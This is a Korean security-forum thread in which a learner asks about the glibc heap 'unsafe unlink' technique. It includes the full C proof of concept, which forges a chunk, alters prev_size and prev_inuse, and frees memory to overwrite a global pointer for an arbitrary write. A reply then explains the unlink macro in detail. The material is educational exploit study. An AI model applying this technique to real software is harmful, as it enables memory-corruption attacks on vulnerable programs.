시스템 해킹

 1576, 1/79 회원가입  로그인  
   vngkv123
   heap에서 unsafe unlink가 조금 이해가 안되네용 ㅠ

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1874 [복사]


chunk0의 사이즈, 즉 chunk1의 prev_size의 값을 0x80으로 줄여주는게 이해가 잘안되네용 ㅠ 그래서 그런가 뒤쪽에
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

이 영역도 잘 이해가 안되구용 ㅠ

printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;

이건 0x80으로 설정해주는 거구용...

unlink메커니즘 자체는 어느정도 이해가 되는데...
저거 보니까 잘 이해가 안되네용 ㅠㅠ

그리고 Fake chunk fd: 0x602048
Fake chunk bk: 0x602050
가 이렇고

The global chunk0_ptr is at 0x602060, pointing to 0x2142420
가 이러면,

본래 chunk0_ptr에 malloc을 했을 시 리턴값이 malloc된 heap의 userdata영역의 주소이니까...
unlink매크로에서 P는 heap의 주소가 되야하는거 아닌가요?

조금 뒤죽박죽인데 찰떡같이 알아들어주셧으면 ㅠ_ㅠ....


해당소스 전체는 이렇습니당.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
}



  Hit : 5789     Date : 2017/05/10 01:27



    
해쿨러 저도 지금 이걸보면서 공부했는데
glibc-2.25/malloc/malloc.c 의 L4008~L4013에 있는 backward consolidation루틴을 이용하는 트릭으로 보이네요
backward consolidation루틴은 어떤 청크가 프리될때, 인접한 바로 이전 청크가 프리돼있는 상태라면 두개 청크를 병합해 더 큰 청크로 관리하는 루틴입니다
그전에 L1984의 do_check_inuse_chunk에서 몇가지 assertion을 하고, 그 함수 안에서 do_check_chunk, do_check_free_chunk 이런 체크함수들을 추가로 실행합니다
이 코드에서 맞추는 (P->fd->bk != P || P->bk->fd != P) 이 조건은 unlink매크로에서 체크됩니다

chunk1의 prev_size를 변경해 chunk0의 사이즈를 속인다 라는게 재밌는점인데
backward consolidation 코드를 보면
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
이렇게 돼있습니다
그리고 chunk_at_offset은 단순히 두개 인자를 더한값을 리턴하는 매크로함수입니다
그러니까 힙 상에서의 이전 청크의 위치를 링크드리스트로서 찾는것이 아닌, 현재청크 - 현재청크가 갖고 있는 prev_size == 이전청크의 위치 이렇게 찾는겁니다
그 이유 때문에 prev_size를 0x80으로 줄이는겁니다

여기까지가 첫번째질문에 대한 답변이고

두번쨰질문은 어디서 헷갈리셨는지 알것 같은데
p->fd->bk == p에서 p->fd가 바이너리주소고 p->fd->bk도 결국 바이너리안에서 움직이는건데 그 값이 어떻게 p가 되는지 물어보신것같습니다
근데 여기서 비교하는 값을 좀 분리해서 생각해야하는데
p->fd->bk 하면 chunk0_ptr 전역변수겠죠, 그리고 그 포인터 변수에 담긴 값은 chunk0_ptr이 가르키는 힙 청크입니다
그리고 == 의 오른쪽의 p가 갖는 값도 chunk0_ptr이 가르키는 힙청크입니다
저도 처음에 헷갈린 부분이 p->fd->bk면 결국 바이너리주소아닌가? 했는데 구조체관점에서 꼼꼼히 생각해보시면 됩니다
2017/05/14  
해쿨러 두번째질문을 좀더 자세하게 말씀드리면

원래 chunk1의 prev_size는 0x90이니까(malloc'd size 0x80 + malloc header 0x10), 이걸 0x80으로 하면 chunk1의 previous chunk의 시작점이 chunk1의 방향으로 0x10 당겨집니다
그리고, chunk1의 prev_inuse를 0으로 하면 prev chunk가 free된것처럼 속일수 있으니
0x10바이트 당겨진 시점에서 처음의 chunk0_ptr[2]와 chunk0_ptr[3]은 각각 p->fd와 p->bk입니다
p->fd가 &chunk0_ptr - sizeof(uint64_t)*3 이고
p->bk가 &chunk0_ptr - sizeof(uint64_t)*2 니까
p->fd->bk 는 &chunk0_ptr - sizeof(uint64_t)*3 + sizeof(uint64_t)*3이 되어 chunk0_ptr을 가르키게 돼 p->fd->bk == p를 만족시키게 되고 p->bk->fd도 마찬가지입니다

그리고 실제 unlink루틴인
FD->bk = BK;
BK->fd = FD; 를 분석해보면
p->fd->bk = bk;
p->bk->fd = fd; 가 되니까
p는 최종적으로 fd, 즉
p = &chunk0_ptr - sizeof(uint64_t)*3 이 됩니다
그러면 chunk0_ptr이 원래 힙을 가르켰었는데 &chunk_ptr-sizeof(uint64_t)*3을 가르키게 되고
chunk0_ptr[3] = victim_string 은 chunk0_ptr = victim_string과 같아집니다
즉 전역변수를 마음대로 조작한거죠
그래서 chunk0_ptr에는 이제 victim_string의 주소가 있으니
chunk0_ptr[0] = 0x4141414142424242를 하게 되면 victim_str에 BBBBAAAA가 써지게 됩니다
2017/05/14  
해쿨러 질문글들을 보면 공부를 하신지 얼마 안되신거같아 제 설명이 많이 어려우실 수 있는데 이해가 될떄까지 50번이고 100번이고 읽어보세요 2017/05/14  
해쿨러 FD->bk = BK;
BK->fd = FD; 에서 왜 결국 p에 fd가 써지냐면
FD->bk 와 BK->fd 둘다 p를 가르키고 있기에 둘다 p에 쓰는 구문들이지만
FD->bk = BK --> 여기서 p에 BK가 들어가고
BK->fd = FD --> 여기서 p에 FD가 들어가기 떄문에 마지막으로 덮어써진 FD의 값이 최종적으로 p가 되고,
fd의 값은 &chunk0_ptr - sizeof(uint64_t)*3 였기 때문에 이 값이 chunk0_ptr의 값에 들어갑니다
2017/05/14  
vngkv123 정말 감사합니다 ㅠ 2017/05/14  
vngkv123 구조체 접근에서 개념이 많이 빈약했네요 ㅠ 2017/05/14